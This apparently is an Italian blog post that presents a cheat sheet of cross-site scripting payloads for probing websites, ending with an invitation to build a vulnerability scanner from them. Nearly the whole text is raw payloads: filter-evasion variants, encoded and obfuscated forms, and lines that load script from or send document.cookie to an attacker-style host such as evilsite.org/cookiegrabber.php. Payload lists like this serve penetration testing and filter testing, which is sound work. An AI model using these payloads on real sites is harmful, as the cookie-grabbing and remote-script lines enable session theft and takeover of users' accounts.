Avevamo promesso qualche giorno fa, di darvi altri esempi su come trovare delle XSS in un sito web.
Ecco quindi di seguito, una “cheat sheet” contenente dei codici utilizzati dai “Bug-Hunter” per controllare se un sito web soffre di Cross Site Scripting.
Divertitevi!
<script>alert(1);</script>
<script>alert(‘XSS’);</script>
<script src=”http://www.evilsite.org/cookiegrabber.php”></script>
<script>location.href=”http://www.evilsite.org/cookiegrabber.php?cookie=”+escape(document.cookie)</script>
<scr<script>ipt>alert(‘XSS’);</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port’\ja\vasc\ript:alert(\”XSS\”)’;</style>
<? echo(‘<scr)’; echo(‘ipt>alert(\”XSS\”)</script>’); ?>
<marquee><script>alert(‘XSS’)</script></marquee>
<IMG SRC=\”jav	ascript:alert(‘XSS’);\”>
<IMG SRC=\”jav
ascript:alert(‘XSS’);\”>
<IMG SRC=\”jav
ascript:alert(‘XSS’);\”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
“><script>alert(0)</script>
<script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\”javascript:alert(‘XSS’)\”>
<IMG DYNSRC=\”javascript:alert(‘XSS’)\”>
<font style=’color:expression(alert(document.cookie))’>
‘); alert(‘XSS
<img src=”javascript:alert(‘XSS’)”>
<script language=”JavaScript”>alert(‘XSS’)</script>
[url=javascript:alert(‘XSS’);]click me[/url]
<body onunload=”javascript:alert(‘XSS’);”>
<body onLoad=”alert(‘XSS’);”
[color=red’ onmouseover=”alert(‘xss’)”]mouse over[/color]
“/></a></><img src=1.gif onerror=alert(1)>
window.alert(“Bonjour !”);
<div style=”x:expression((window.r==1)?”:eval(‘r=1;
alert(String.fromCharCode(88,83,83));’))”>
<iframe<?php echo chr(11)?> onload=alert(‘XSS’)></iframe>
“><script alert(String.fromCharCode(88,83,83))</script>
‘>><marquee><h1>XSS</h1></marquee>
‘”>><script>alert(‘XSS’)</script>
‘”>><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=javascript:alert(‘XSS’);\”>
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0; URL=http://;URL=javascript:alert(‘XSS’);\”>
<script>var var = 1; alert(var)</script>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<?='<SCRIPT>alert(“XSS”)</SCRIPT>’?>
<IMG SRC=’vbscript:msgbox(\”XSS\”)’>
” onfocus=alert(document.domain) “> <”
<FRAMESET><FRAME SRC=\”javascript:alert(‘XSS’);\”></FRAMESET>
<STYLE>li {list-style-image: url(\”javascript:alert(‘XSS’)\”);}</STYLE><UL><LI>XSS
perl -e ‘print \”<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>\”;’ > out
perl -e ‘print \”<IMG SRC=java\0script:alert(\”XSS\”)>\”;’ > out
<br size=\”&{alert(‘XSS’)}\”>
<scrscriptipt>alert(1)</scrscriptipt>
</br style=a:expression(alert())>
</script><script>alert(1)</script>
“><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
[color=red width=expression(alert(123))][color]
<BASE HREF=”javascript:alert(‘XSS’);//”>
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
“></iframe><script>alert(123)</script>
<body onLoad=”while(true) alert(‘XSS’);”>
‘”></title><script>alert(1111)</script>
</textarea>'”><script>alert(document.cookie)</script>
‘””><script language=”JavaScript”> alert(‘X \nS \nS’);</script>
</script></script><<<<script><>>>><<<script>alert(123)</script>
<html><noalert><noscript>(123)</noscript><script>(123)</script>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
‘></select><script>alert(123)</script>
‘>”><script src = ‘http://www.site.com/XSS.js’></script>
}</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
<SCRIPT>document.write(“XSS”);</SCRIPT>
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘xss’);”;eval(a+b+c+d);
=’><script>alert(“xss”)</script>
<script+src=”>”+src=”http://yoursite.com/xss.js?69,69″></script>
<body background=javascript:'”><script>alert(navigator.userAgent)</script>></body>
“>><script>alert(document.cookie)</script><script src=”http://www.site.com/XSS.js”></script>
“>><script>alert(document.cookie)</script>
src=”http://www.site.com/XSS.js”></script>
data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
Volendo, si potrebbe utilizzare questo cheatsheet per creare un vulnerability scanner. Qualche idea su come realizzarlo? 🙂
